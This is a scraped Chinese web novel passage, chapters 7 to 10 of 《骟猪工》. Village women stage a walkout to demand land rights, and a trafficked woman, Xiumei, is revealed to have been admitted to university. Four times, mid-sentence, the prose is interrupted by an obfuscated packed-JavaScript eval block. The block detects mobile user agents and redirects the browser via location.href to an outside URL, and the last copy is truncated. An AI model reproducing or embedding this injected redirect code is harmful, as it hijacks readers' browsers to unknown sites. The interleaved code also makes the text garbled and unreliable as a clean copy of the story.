《骟猪工》 7. 秀梅(三) 7.谎言 乔壮家在村外的一处山脚下,木屋。 是她当年和阿姊一起搭的,当然也少不了村里姨姨婆婆的帮助。 毕竟当年乔家姊妹,一个15岁,一个8岁。 乔壮今晚没磨刀,因为没听到让她心闷的叹气声,反倒是一些压抑又雀跃的欢笑声,听着她今晚又多吃了一碗饭。 待她洗完碗,就听到门外传来几道脚步声,很轻,像猫儿踩在沙石上。 乔壮一把拉开门,就看到老爱来她这买猪脑的郭姨站在外边,敲门的手还举在半空。 “我就说乔壮的耳朵灵得很吧,小香还不信。”郑婆站在人群里,笑着开口。 郭香仪也配合,半嗔半恼地拿指头轻戳乔壮的手臂。 “乔壮你是属狗的不成,耳朵这么灵。” 乔壮低头看她,认真地摇了摇头:“郭姨你记错了,我属龙,我阿姊才属狗。” “哈哈哈哈哈……” 身后的女人们顿时像炸开的苞米般,噗一声爆出响亮的大笑。 乔壮挠了挠脑袋,不知道她们在笑什么。 还是郑婆挂念她:“是我们记错了,乔壮莫要怪罪我们。” “好。”乔壮点头,她是个心胸宽广的人,不会因为这些小事生气。 一群人笑罢,这才收拾起自己的包袱。 “哗——” 一席大红的绸缎被面在郭香仪手里展开,正面戏水的两只鸳鸯齐齐整整地展现在众人面前。 “这是把喜被都带出来了。”周韵上前摸了把,“这‘的确良’的缎子确实好,又亮又滑,这么多年过去了,颜色还这么艳。” “真好看。”又一个女人上前看了看。 她眼里满是惊艳,却不敢摸,怕手里的老茧勾坏这好看的被面。 “姐,不但好看,还好摸呢。”郭香仪抓着她的手,就往上面蹭,“您摸摸,是不是又滑又凉?” “哎呦,是是是。”女人只觉得这被面和小姑娘的脸蛋似的滑溜,赶紧收回手,“不摸了,再摸摸坏了,你家里那个发现,该骂你了。” 郭香仪手一叉腰,翘着脑袋:“就我家那傻小子,我把他卖了,他还回头冲我笑呢。” 这话半点不夸张,因为郭香仪屋里头那个,确确实实是个傻子。 原本还围着瞧的女人都安静了下来。 女人总是这样善良,哪怕自己过得也不如意,见到别人过得不好,也会感同身受替她难过。 “这是怎么了一个个的。”郭香仪将自己的被子摊开在地上,往上一躺,拍拍身侧,“我这可还有空位,先到先得。” 安静的人群又热闹了起来,大家你推我我推你的,最后推出两个女人。 一个人是先前摸被子的,一个是郑婆。 郑婆看着站在身后的女人们,傻眼了。 “我这可带了被子。”她拍拍手里的包袱。 “您最年长,这时兴的好被子怎么也该让您睡上一晚。”有巧嘴的女人说了句,顿时得到四面八方其他女人的赞同。 “你这话说得对,我最年长。”郑婆点点头,忽地转头看向乔壮,“壮啊,你看婆婆我这把老骨头,今晚你那床……” 乔壮看了看她露出一角的素色被子:“那我要睡郭姨的被子。” 乔壮喜欢亮晶晶的东西,郭姨被面的鸳鸯翅膀上不知贴了什么,看起来闪亮亮,她喜欢。 “嘿,你这娃娃还挑上了。”郑婆故作生气,“那我今晚不睡你的床了。” 不睡床是不行了。下一秒,乔壮就连人带包打横抱起,放到屋里的大床上,自己则回来站在一旁,眼巴巴地看着那红艳艳的喜被。 郭香仪逗她:“乔壮,加上你,我这被面上可躺不下三人,怎么办?” 乔壮看了看剩下的空位,又看了看自己,心里虽失落,却还是开口安慰:“没事郭姨,我睡郑婆的被子就成。” 说着,她就回屋里取了藏蓝的素色被子铺在地上,一副今晚就睡这的模样。 “好了好了,哪能不让咱们的大功臣睡上想睡的被面。”郭香仪拦住她,从包袱里取出另一床被面,同样的红艳艳,图案从鸳鸯戏水换成了双喜字。 “你瞅瞅,这个行不?” 乔壮接过铺好,往上一躺,冰凉凉的被面贴在身上,舒服得她翘了翘嘴角。 她决定了,给阿姊的屋里也添置一床滑溜溜、冰冰凉的被子。 女人们一阵忙活,最终每个人都拥有了属于自己的小半块被面。 哪怕乔壮早早清扫过门前的空地,确保一颗石子没留,躺在地上睡觉也不是件舒服事。 更何况村里的女人大多皮包骨,隔着被子,突出的骨头都能硬挺挺地戳在地上。 硌人,但女人们却觉得格外松快。 没有熏天的臭气,没有粗鲁的呼吸,更没有炸雷的呼噜。 只有干净的、好闻的皂角味和女人自带的馨香温软气。 在这样宁静温馨的氛围中,郭香仪看着满天的繁星,轻轻开口:“其实大家不必担心我。” “我家那个虽傻,但听话,我说东他不往西,我让他捶腿他不捏肩。见我不开心,还知道逗我笑。要我说,他是村里顶顶好的男人了。” “而且我嫁过来时,就一个婆婆。婆婆人好,知道我嫁来委屈,特地花大价钱去城里买了这两床大红被,说要给我撑撑面。嫁来后,家里的大事小事都自己包圆了去。” “要我说,她哪里买了个儿媳妇,分明是买了个女儿。就是可惜,还没享到福就……” 郭香仪说着说着,话里的字就开始抖,她吸了吸鼻子不再说话。 身旁的女人叹了口气,轻轻顺着她的后背一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16506763|186095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下拍着。 静谧的空地上空,一时只有低低的抽噎声。 “林婶子确实是村里顶好的人,不过小香那句话说得不对。”郑婆不知何时从屋里头走了出来,站在乔壮躺着的被面旁。 “谁说你那傻子丈夫是村里最好的男人,分明是我那短命鬼才对。傻了的男人,哪有死了的男人来得好啊。” “噗哈哈哈……” “郑婆说得对,傻男人哪有死男人好。” “阿弥陀佛,观世音菩萨在上,让我男人速速入畜.生道吧。” “这事观世音菩萨管吗?该向阎罗王请愿吧?” “……” 低沉悲伤的气氛被打散,安静下来的女人们再次活络起来,从神仙聊到祭品,又从祭品聊到粮价,聊着聊着,又聊到了八卦上。 一床被面上的咬着耳朵分享自己听到的趣事,聊到兴奋处,或小声惊呼,或捂着嘴切切笑。每个人都鲜活又自在。 郭香仪见状,连忙向郑婆投去感激的一眼。大家好不容易聚在一起,本该乐乐呵呵的,却险些被自己坏了。 郑婆给了她个安慰的眼神,摇摇头示意没事。 乔壮往里侧挪了挪,给躺下的郑婆让位置。 “郑婆,我不明白。”她望向身旁的郑婆,“明明大家都不喜欢男人,为什么还要找男人?” 不管是傻男人,还是死男人,一开始不找不就好了? 郑婆愣了下,无奈地笑了笑:“大概因为在我们小的时候,我们的爹娘、长辈、邻居,甚至姊妹兄弟,都是这么说的。找个好男人嫁了,再生几个男娃娃,女人这辈子的任务就完成了。” “任务?我从来没听过这个任务?阿娘在世时只说我要好好念书,后来说我要好好和爹学杀猪。阿姊说我要好好吃饭,长得壮壮的,以后帮她打坏人。”乔壮想了想,最后得出一个结论,“郑婆,你被骗了。” 郑婆一愣,只觉混沌了几十年的脑子被衔露的杨柳枝轻轻一点,她猛然惊醒。 是啊,她被骗了! 什么女人是一定要嫁人的。假的! 什么女人要靠男人才能活着。假的! 什么女人要帮男人传宗接代。假的! 假的!假的!!假的!!!全都是假的!!! 郑丽娟被骗了,重庚村的女人们被骗了,几千年来所有的女性都被骗了! 毫无根据、漏洞百出的谎言,随着一代代的遵循与传递,由假变真,自虚化实,成为男人刺向女人的剑,成为女人捅向自己的刀。 郑丽娟突然想哭,又想笑,她想站起来大喊,痛斥老天瞎眼,怒骂世间不公,可她最终什么也没做。 她只是将体内的浊气一一吐出,而后对着乔壮小声道: “我告诉你一个秘密。” “那个男人,根本不是我的丈夫。” 8. 秀梅(四) 8.早饭 翌日,村里的男人们一觉醒来,发现家里大门开着,女人不见了。 这可不得了,看不住女人的男人在村里可是抬不起头的! 男人们偷偷摸到门边,将门从内向外轻轻合起,却透过门缝,正好和对门的男人对上眼。 你媳妇呢? 你媳妇呢! 也跑了? 都跑了! 经过一阵眼神厮杀,原本还互相戒备的两人顿时沦落为家门不幸的难兄难弟。 难兄难弟勾着肩搭着背,朝着村里唯一的小酒馆去。 去地里?媳妇跟人跑了,早饭也没人做,哪个还有心思去地里,自然是要和兄弟去一醉解千愁的。 解千愁的路上,又遇到不少难兄难弟。一对,嘿,大家的媳妇都不见了。 一群人顿时饭也不吃,酒也不喝,挺着空荡荡的肚子,蹬蹬噔地往村长家跑去。 到地一看,村长家的门关得严严实实,连门闩都闩上了,不由齐叹,姜还是老的辣。 瞧瞧,村长把他媳妇管得多好! 叹完,就有人上前咚咚咚地敲门。 门一开,村长一张得意的老脸就露了出来:“还知道回来,我就知道你……” 你什么? 十几个高高低低的男人围在家门口,像村民自己垒得凹凸不平的土墙,将他的后半句堵在了齐刷刷的目光里。 “你们怎么来了?”孙村长理了理衣服,将门大开,让他们进来。 刚一跨过门槛,一群人就冲着他大喊:“村长,您可要为我们做主啊。我们的媳妇都跟人跑了!” 孙村长大惊:“都跑了?” “都跑了!” 他看向人群末尾最矮的男人:“老小子,你家那个?” 老小子低着头,一脸阴沉,咬牙切齿道:“跑了。” 孙村长杵着拐杖,一屁股坐在椅子上。 ‘啥时候你们给女人分地,啥时候我们才回来。’周韵昨晚的话在他耳边响起。 起初他没在意,如今仔细一回想,才发现她话里说的是“我们”。 一群女人,还敢反了天了! 他气得心窝疼,举起茶盏就往嘴边递,仰头等了半晌,一滴水也没流到嘴里…… 是了,他媳妇也跑了。还是带头跑的。 “啪!”他一把将茶盏砸在桌上,震得茶盖上下弹了弹,与盏身撞出几道脆响。 “她们这么多女人,一晚上跑不了多远。都跟上,我知道她们躲在哪!” * 村外山脚的木屋,大烟囱正一股股向外吐着白烟。 乔壮是被棒子面粥的香味给香醒的,她刚翻了个身,就被眼尖的周韵瞧见。 “乔壮醒了,赶快洗漱下来喝粥。”她舀了一大碗黄澄澄的玉米糊糊放在一旁,“等洗完正好凉了能喝。” 乔壮麻溜地爬起,回屋里取了自个儿的牙杯牙刷和面巾,就和其他女人一块,蹲在路旁,咕噜噜地吐着水。 饶是蹲着,她也比普通人站着还要高大。和她站在一块的女人感受到压在身上的黑影,瑟缩了下,往旁挪了挪。 乔壮以为是自己碰着人家,也往旁挪了挪。 等到那黑影不再笼罩全身,女人才小声地吐出一口气。 乔壮低头看了眼,在她穿着长袖的胳膊上多停留了几秒,将脸埋进软乎乎的面巾里。 阿姊给她买的东西就是好,连面巾都又香又软,比她在市集上买的好多了。 小心地把面巾摊开挂回毛巾架上,又摸了摸刀套上两人靠在一块的小像,乔壮才走到外头,捧起那碗还冒着热气的粥。 入口是满满的玉米香,细品之下还有丝甜滋滋。 “周姨,你往粥里放糖了?” 周韵正帮着把蒸笼从灶台上搬出来,一掀盖,升腾的雾气将几人的面孔都掩去了七八分。 “耳朵灵,嘴也灵。”周韵拿出一个刚蒸好的玉米窝头放到她碗边,凑到她耳边轻声说,“郑婆带了点小米和红枣干,托我放粥里煮了给大家吃。” 难怪今天的玉米粥格外地好喝。 乔壮没饱,想喝第二碗。 不远处,抓着两个小辫子的小女孩正抱着碗,冲身后的老人笑:“奶奶,甜的,您喝。” 老人将她递来的碗推回去:“奶奶有,丫丫喝,不够喝奶奶这还有。” 乔壮捧着碗回来,碗里是几个又大又黄的窝窝头。 她啃着窝窝头,看着周韵抱着盛粥的瓦罐,游走在人群中,给每个想喝又不好意思开口的女人舀上满满一大勺的棒子面粥。 * 村里的男人们到的时候,就看到这样一副幸福又美味的画面。 好啊,他们饿着肚子在村子里找了一圈,生怕她们出事,她们却躲在这吃香喝辣! 孙村长更是气得两颗眼珠子突突往外跳,目光死死地黏在周韵的身上。 不给他做饭,反倒跑来这伺候别的女人吃饭,简直不把他孙村长放在眼里! “周韵!周韵——!”他大喊,喊声却被女人们的说话声掩盖。 怒气上头,他一把抄起拐杖,朝着路旁的木架子狠狠砸去。 “咔嚓——”木架子风吹日晒多年,内里早就腐坏。孙村长明明没使什么力气,木架子却从中间裂成两半,一半还插在土里,带箱子的另一半却砸在地上,四分五裂。 欢笑的人群顿时安静了下来。孙村长以为是自己这一举震撼了她们,暗想自己真是威风不减当年,就看到乔壮冷着一张脸从人群里走了出来。 “有事?”乔壮大步走到男人们面前,最前边的几人瞬间被笼在她的阴影下。 孙村长带人不动声色地朝后退了几步:“不找你,我找我媳妇。” “她们在吃饭,有事和我说。” “这夫妻间的事,你个小娃娃也不懂。”孙村长使出惯用的倚老卖老。 乔壮却不接招:“有事和我说,她们在吃饭。” 有脾气急的听不下去,越过乔壮就要往里走,被抓着衣领,丢回到男人堆里。 等他们七手八脚地将人扶起,就看到乔壮一手拦在他们身前,手里攥着那把杀猪刀,寒光泠泠。 刀把一转,他们从那宽阔的刀身上看到了自己惊恐瑟缩的面孔。 孙村长还在硬逞着自己村长的威风:“乔壮,你把刀拿出来什么意思?想砍人!我告诉你,砍人可是犯法的!” 又来了,他们好像共用一套语言系统,就连说的话都一模一样。 乔壮疑惑,砍人是犯法,不给女人分地也是犯法。男人在受到威胁时,就能搬出法.律震慑女人;可女人搬出法律时,他们只当她们在放屁。 难道法.律只对男的有效?那为什么要多此一举为女人写法.律?女人的法.律又是谁写的?TA在写的时候知道自己写的是一张白纸吗? 乔壮有太多的问题,但她不打算问他们,他们又蠢又笨,遇到答不出的话时就会发脾气大喊大叫。她要问阿姊,阿姊是世界上最聪明的人,一定能告诉她答案。 乔壮想了很多,但没忘记摘掉孙村长扣在自己头上的帽子。 她看了看太阳,说:“今天天气好,我拿我的刀出来晒晒,不行吗?” 乔壮的眼珠比墨还浓,占据了一大半的眼白,嘴角又天生向下,被她面无表情盯着看时,会有种被猛兽盯上的惊悚感。 孙村长连忙移开视线,但他仗着人多,也不走,就站在外边,一声声地唤着“周韵”。乔壮想让他闭嘴,被他一句“我想我媳妇了,喊她名字,不行吗?”给赌了回去。 乔壮嘴笨,说不过他,索性去扶木架子。 这是早些年自己和阿姊一起做的,阿姊说这玩意儿叫“邮箱”,等以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16506764|186095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她出去上大学工作了,寄来的信就会放在这。 乔壮那时候小,不懂什么叫上大学,也不懂什么叫信,她只抱着木头呆呆地站在一旁,问阿姊能不能不要出去。她没有娘,没有爹,只有一个阿姊了。 阿姊用那双用来翻书写字的手,捡掉她头顶沾着的枯叶,温柔地对她说:“要出去的。不止阿姊要出去,阿妹也要出去,重庚村里的所有女人都要出去的。” “去哪儿?” “阿姊也不知道,但阿姊会想办法的。阿妹相信阿姊吗?” “当然!” “……当然不行!”过去与现实通过两个字交叠又迅速割裂。 周韵从门前的空地走了出来,一个人面对一群男人也毫不胆怯。 “姓孙的,我说得够清楚了,分地!不分地,其余的免谈!” 不需要孙村长开口,一群男人又七嘴八舌地围了上来。 “婶子,你这就为难村长了。你出去问问,这十里八乡,哪个村子给女人分地的?” “是啊,地只传男不传女,老祖宗定下的规矩,还能有错不成?” “咱们村外嫁女这么多,要人人都有地,村子早没了,要不是我们男的守着地,哪轮得到你们女人现在来讨要地啊。” “……” 孙村长眯着眼默默退到人后,等待周韵的再一次妥协。 不过是又一场针对女人的,多对一的围剿,他们太熟练了。当他们站在这指责周韵时,他们不只是他们,还是他们的父兄、叔伯,是千百年既得利益者对女性恶意的化身。 可周韵也并非孤身一人,郑丽娟、郭香仪、吴晓霞……一个又一个重庚村的女人走了出来,站在她的身后,用行动表示了自己的态度—— 她们要地,要平等,要权利,要身而为人的尊严! 一样的衣裳,一样的发式,一样的脸,如今重庚村的男人们看去却只觉得陌生,有的甚至不敢对上她们直视来的目光。 “行了。”孙村长拂开侧目避视的男人们,重走到人前,“既不三从,也无四德,这样的女人不要也罢,我倒要看看没了男人撑腰,你们的日子能好过到哪去!走!” “等等。”乔壮将刻着自己和阿姊名字的碎木块重新拼在一块,出声叫住了孙村长。 “你现在再想替这些女人说话也迟了,除非她们跪下来求我们,不然别想回来。”孙村长得意非常,他就知道乔壮忍不了。这些女人身上没钱没米,在乔壮家住个一两天倒不碍事,真要住个十天半个月,迟早把乔壮家给吃空。 刚才还一副姊妹同心,其利断金的模样,现在想把烫手山芋甩掉,晚了! 孙村长等着乔壮说服软的话,他都想好了,先拒绝个两三回,等她无计可施了,再大发慈悲地松口,既能敲打这些女人,又能在村里维持威望。 乔壮越走越近,孙村长兴奋地清了清嗓子,嘴还未张开,手里一空,整个人猛地向前冲去。要不是旁边的男人拽了他一把,只怕仅剩的一颗门牙也得碎在地上。 “你……”他顾不得被拽得火辣辣的胳膊,怒目向乔壮看去,就见她将自己的拐杖抵在大腿上,两手向下压,膝盖向上顶—— “咔嚓——” “!!!”孙村长目龇欲裂。 “我的红木拐杖!”他花了大价钱托人在城里买的纯手工实木拐杖!一百块呢! “给你。”乔壮把刻着葫芦形状的拐杖头扔地上,将剩下的小半截塞回他手里。拐杖末端裹满泥土,蹭了他一手。 “你可以走了。”乔壮折完拐杖又蹲回去,摆弄她那四分五裂的木架子。 孙村长看着手里断成两截的一百块,一口气没上来,两眼一白,晕了过去。 几个男人们又是一阵鸡飞狗跳,抗的抗,拽的拽,七手八脚将人往卫生所送去。只有落在最后的矮个男人,回头恶狠狠瞪了女人们一眼。 9. 秀梅(五) 9.通知书 虽然男人们被赶跑,洗净锅碗瓢盆的女人们还是聚在一起,商量接下来的日子该怎么过。 谁也不知道男人们什么时候会松口,但她们知道她们绝对不会先松口。 这将会是一场持久战。 周韵当即召集所有女人,开始统计大家手里的物件。 除了被子、换洗衣物外,只勉强拼凑出五斤大米、半斤白糖和十一块两毛六。 重庚村的女人没资格管钱,钱都在男人手里握着,这十一块两毛六是大家平日里一分一分攒下来的,没藏私,都拿出来了,但想养活这二十来张嘴却是完全不够的。 周韵正苦恼着,就被吴晓霞叫到一处没人的地。 她将抱着的孙女放下,四处看了看,拉开裤腰上自己缝的兜,从里面掏出一整叠的纸币,悄悄塞进周韵的手里。 “我这还有三十来块,你拿着,够咱们吃些日子了。” “不不不,这钱我不能拿。”周韵连忙将这叠还带着体温的纸币塞了回去。 众所周知,吴晓霞受她好赌的男人拖累,是村里最穷的一户人家,这三十来块,怕是她攒了一辈子的棺材本。 “你放心,我这都是往年卖谷子攒下来的钱,干净。不是钱小六赌来的脏钱。”吴晓霞恨透了赌,只当周韵也嫌弃这是赌来的赃款,赶忙解释。 “我知道你这钱干净,但我不能拿,拿了你之后怎么办?丫丫之后怎么办?地里的稻谷可得两个月后才能收成,你把钱都给我了,这两个月怎么活?别说指望钱小六那败家子,他能不问你要钱就不错了。” “哎呀,我让你拿着你就拿着,我家里还有呢。”吴晓霞把钱往她手里一塞,牵着孙女的手就走了。 周韵也不好再追出去,一个人蹲在地上,来回数了几遍,确定没漏后,将全部的钱都给了郑丽娟。 “这钱你收着,到时候大家伙缺啥少啥都得从你那小卖部里拿。” “行。”郑丽娟知道拒不掉,没同她客气,只暗想着给的时候悄摸多给点。 这头刚送走周韵,那头乔壮又找了过来。上来就是三张百元大钞,见她不收,又从口袋里掏出两张五十的。 “郑婆,钱。” 这次郑丽娟却没收。 “我可不敢收你的钱,你找阿韵去,她要是点头,我就收你这钱。” 乔壮又拿着钱去找周韵,还没开口,就被打断。 “乔壮,我们睡你的地,借你的灶,烧你的柴,可不能再拿你的钱了。” “……”乔壮拿着钱,却觉得自己拿着烫手山芋,谁都不肯接。 她默默拿着钱回去,过了会又拿着钱回来。 “周姨,我食量大,这算我额外的饭钱。”她自觉这个理由天衣无缝。 “晓得你食量大,你的份量都是从你的米缸里单独舀出来的,没从我们这扣。”周韵甚至没抬头,她拿毛笔记着从谁家手里拿了多少钱多少东西,随口便回绝了乔壮想了半晌的理由。 “……” 乔壮拿着钱,又沉默了。 周韵没听到回复,抬头,才发现乔壮低着头,一声不吭地站在一旁不肯走。 和她娘一样的倔脾气。 周韵无奈地笑了笑,将笔放下:“这钱你先存着,要是到时缺钱了,就问你要,行不?” “……行。”乔壮盯着她看了半晌,才不情不愿地把钱收了回去。 * 周韵出身秀才之家,写得一手好毛笔字,村里的春联历来都是她帮着写的。 大家拿出的东西不多,但琐碎。她每样都记下,写好后又挨个对了一遍,确认没有没有问题后,又拿出一张纸誊抄了一遍。 一式两份,一份放她这,一份放丽娟那。 之后还要把纸上的物件都挨家还回去,马虎不得。 写下最后一个字,她捏了捏酸胀的眉心。人老了,确实不比当年,字稍写小点就费神。 “丽娟。”她将一份叠得方正,交到郑丽娟手里,“总共三十五块八毛六,你怎么打算?” “十块米面,十块菜肉,十块日常花,剩下的五块八毛六就当应急,真出事了还有笔钱能用。” 周韵有点担心:“十块米面怕是不够。” “够用,你忘了我是干啥的?”郑丽娟将纸贴身放好,“我店里新鲜的大米不多,但陈米不少,本来也卖不出去,正好这次能派上用场,够大家吃三天的,就是味道不大好。” 树皮都吃过的人哪会嫌弃陈米,周韵盘算着:“新米给那几个还在长身体的女娃娃吃,咱们吃陈米就行。菜的话,可以去地里山上摘点野菜,肉乔壮说可以半价卖给咱。三天,够咱们赚到钱了。” 周韵作为村里女人的领头人,知道各个女人的技能,很快就给每个人安排好了岗位。 年纪大的如吴晓霞这类,别看好像除了种地外没其他技能,但她们资历深厚,对村里的土地了如指掌,知道哪块地上长着什么野菜,知道哪些能吃哪些不能吃,还知道野菜怎么炒最好吃。这片土地孕育了她们,她们也将土地的痕迹刻进皱纹和厚茧里。 稍年轻点嘴甜会说话的,如郭香仪之类,就跟着郑丽娟去城里,售卖村里女人自制的小物件:竹篮、扫帚、鞋垫……要是能帮着接点缝补浆洗的活,就更好了。 其他女人则按照自己会的,依次分成几个队伍,再从队伍里各选一个负责人出来。负责人不但要干活,还要记录自己队伍里各人员的干活情况,每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16506765|186095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚都要向周韵汇报。赚的钱会集中用来返还之前大家拿出的钱,要是有剩余,就按照每个人干了多少依次分配。 在这个偏僻、落后又封建的小村庄里,女人们靠着对彼此的信任,对利益的共享,对公平的追求,自己形成了一套模糊但超前的,包含公有制和多劳多得、少劳少得思维的经济制度。而距离真正的基本经济制度的提出确立,还有很长一段时间。 女人们根本不知道自己如今的想法有多开天辟地,她们在分完组后,看着呆呆站在中间的女人犯了难。 “妹子,你有啥会的不?”周韵不知道她叫啥,村里的男人都随老小子叫她“一千三”,因为她被卖到村里时,老小子花了一千三买下她。但村里的女人从来不这么叫,真要论买卖,村里又有哪个女人不是男人们买卖来的。 女人张着嘴咿咿呀呀地比划了一顿,见没人听懂,她有些急了,她怕不干活被赶回去,到时怕真要被老小子给活活打死。 “啊——”她指着周韵手里的纸,又用指头在空中划了划。 周韵眼睛一亮:“你会写字?” “嗯!”她重重点了点头。 “居然会写字!”围观的女人顿时炸开了锅,在她们看来,会写字的女人都是有大出息的。像周韵,像乔壮的阿姊,就连只会识字的郑丽娟都是村里的厉害人物。 像是怕她们不信,女人连忙从鞋垫里掏出一张皱皱巴巴的纸,动作小心地摊开,放在众人面前。 纸上的字早已被泛起的白痕拆成黑点,周韵眯着眼仔细辨认,才发现是“秀梅”两个字。 “你叫秀梅?” “嗯!”女人点点头。 “姓什么?” “嗯……”女人摇摇头。她被卖来的太久,对自己的存在和认知,早已在一声声的“一千三”和毒打中模糊。 “想不起来也没事,以后我们就叫你秀梅了。”周韵将她的纸小心地折好,翻动间,正好看到最上头的五个大字,手一抖,失声叫了出来。 “入学通知书!你是大学生!” 大学生?秀梅迷茫地看着那张发黄的、长满白斑的纸。 她是大学生吗? 记忆中两个看不清模样的女人围着她转圈、大叫、哭泣,她想不起她们的脸,却下意识抬手想擦去她们的泪。 她举起和田间泥路一样粗糙的手指,按在那不再鲜艳的大字上。 对啊,她是出门去上大学的,怎么会在这啊。 一颗一颗咸涩的水珠打在纸上,秀梅像是被人按进水缸里,周围的声音化作咕噜噜的水泡,听不真切。她喘不上气,只能一遍又一遍摸着那被水珠泡软晕开的黑字。 不对啊,她是出门去上大学的,怎么会在这啊! 10. 秀梅(六) 10.灶屋 “怎么了这是?一个个愁眉苦脸的。” 郑丽娟人未至,嘹亮的嗓门已经从前头传来。 一群人望去,就见她和推着推车的乔壮越过栅栏,一前一后朝木屋前的空地走来。 周韵冲郭香仪使了个眼色,郭香仪立马拉着身边几个姊妹上前,帮着搬东西。周韵则趁机将两人拉到一处,小声说了方才的事。 “大学生!”郑丽娟压着嗓子惊呼,“老小子可真是造大孽啊!这么多年过去了,你说学校还认不认这录取通知书啊?” “我也不知道,不过白纸黑字写着,总归是认的吧。”周韵也不确定,她虽识字也不曾上过学,只在阿爹的学堂外听了几堂课。 “改天问问乔壮的阿姊,她念过书,又在城里干活,说不定知道。”郑丽娟看着还在低头落泪的秀梅,叹了口气,“也是个命苦的女娃娃啊,连自己姓啥都忘了。” “可不嘛,只知道自己叫秀梅。” “赵秀梅。”乔壮说。 “啥?”周韵和郑丽娟同时抬头。 “赵秀梅。”乔壮又重复了一遍,“阿娘还在的时候,我在灶台旁见过她。” 两人想反驳老小子那时把人看得紧,根本没让人单独出过门,又想到那事,同时沉默了下来。 * 装人的大货车喷着黑烟走了,只留下个壮实但哑巴的年轻女孩。 车主说一个女孩一千五,不过这个说不了话,而且他们也没想到这地方还有个村,算个缘分,便宜卖,一千三。 老小子原本不想买,他手上正好有一千三,但那钱是用来买地的。 车主朝他吐了口烟,说地买来要人种的。你现在年轻,地多种得过来,再过个三四十年呢,还种得动?这人嘛,还得有个儿子,以后能帮着种地,还能养老。到时候儿子生孙子,孙子生曾孙,一代代生下来,钱一笔笔攒下来,还愁你家没地?怕是种都种不过来喽。 车主走南闯北,一眼就看出老小子的命门。 老小子有些心动,但他摇头,太贵了,一千三,都够他在村里取好几个媳妇了。 车主上下打量他一下,问,哪家愿意把女儿嫁给你? 老小子顿时没了声。他已经快三十了,却连一米四都没有,平日里又一幅穷酸样,就连隔壁村的都不愿意把女儿嫁给他。 你可想好,不要我就走了,反正没儿子被人欺负抢不着地我可不管。车主虚晃一枪,这枪却被老小子握住,实实在在扎进自己的胸口里。 我买! 老小子两手空空出去,牵着个女人回来。 村里男人都想来看热闹,被他硬气地轰了出去。 老小子以为自己够硬气,没想到女人更硬气。被他关了两天,一口饭没吃,一滴水没喝,还能趁他去地里的功夫跑了。 这可把老小子急坏了,他的一千三,他的万亩地啊! 当天,村里所有人的门都被他敲了一遍。 没人说看见那个城里姑娘,只有女人们将盛水盛饭的碗筷又多洗了一遍。 老小子在村里连找了半个月,城里的姑娘却像长了翅膀飞出去的鸟,一点踪迹也没有。 就当村里人以为这姑娘再也不会回来时,村里的谯猪匠把人送到了老小子跟前。 我在送货的路上看到的。他是这样说的。 “所以当时,是阅简把人藏住的?” 乔阅简,乔壮的阿娘,谯猪匠的媳妇。 乔壮点了点头:“阿娘把她藏在烧饭的地方,她拿烧了一半的柴火在地上写了自己的名字,阿娘说那三个字念‘赵秀梅’。” 村里的男人都遵循着“君子远庖厨”的古训,说男人不能烧饭,不能进灶屋,因此灶屋也成了女人们秘密的存放地。 乔壮对陌生人好奇,帮爹杀完猪后,就会到灶屋,躲在阿娘身后看她。 女人头发乱糟糟的,眼睛却很亮,每次看到她时都会冲她笑,无端让乔壮想起路边常见的黄色小野花。 “难怪,秀梅后来找到我托我去城里帮她买避.孕药。”郑丽娟恍然大悟,她本以为是城里人开放,小小年纪这方面也懂得多,原来是乔阅简出的主意。 “怪不得秀梅这么多年肚子没动静。”周韵松了口气,“没孩子好,等以后她找到家里人就能回去,没牵没挂的,到时再把学上了,找个好工作,以后的日子好着呢。” 她见过太多因为孩子被困死在村子里的女人,现在是由衷地替秀梅感到高兴。 “差点忘了,”郑丽娟一拍掌,“秀梅有门绝活,她能拿草编各种小动物,编出来的动物像模像样的,之前她就是托我卖这些东西抵的药费。” 这下好了,唯一一个没有队伍的也有了队伍。 周韵还为她配了队员,半大的女娃娃跟着她,看她拿绿油油的草几下编出一只兔子,各个吵着要学。 * 三天很快过去,女人们米缸里的米不但没见底,反而更多了。 周韵看着账本上越来越多的钱,笑得合不拢嘴。 男人们却愁了。 他们习惯了享受女人的劳动成果,回到家往床上一躺,和他们一块从地里回来的女人来不及喘口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 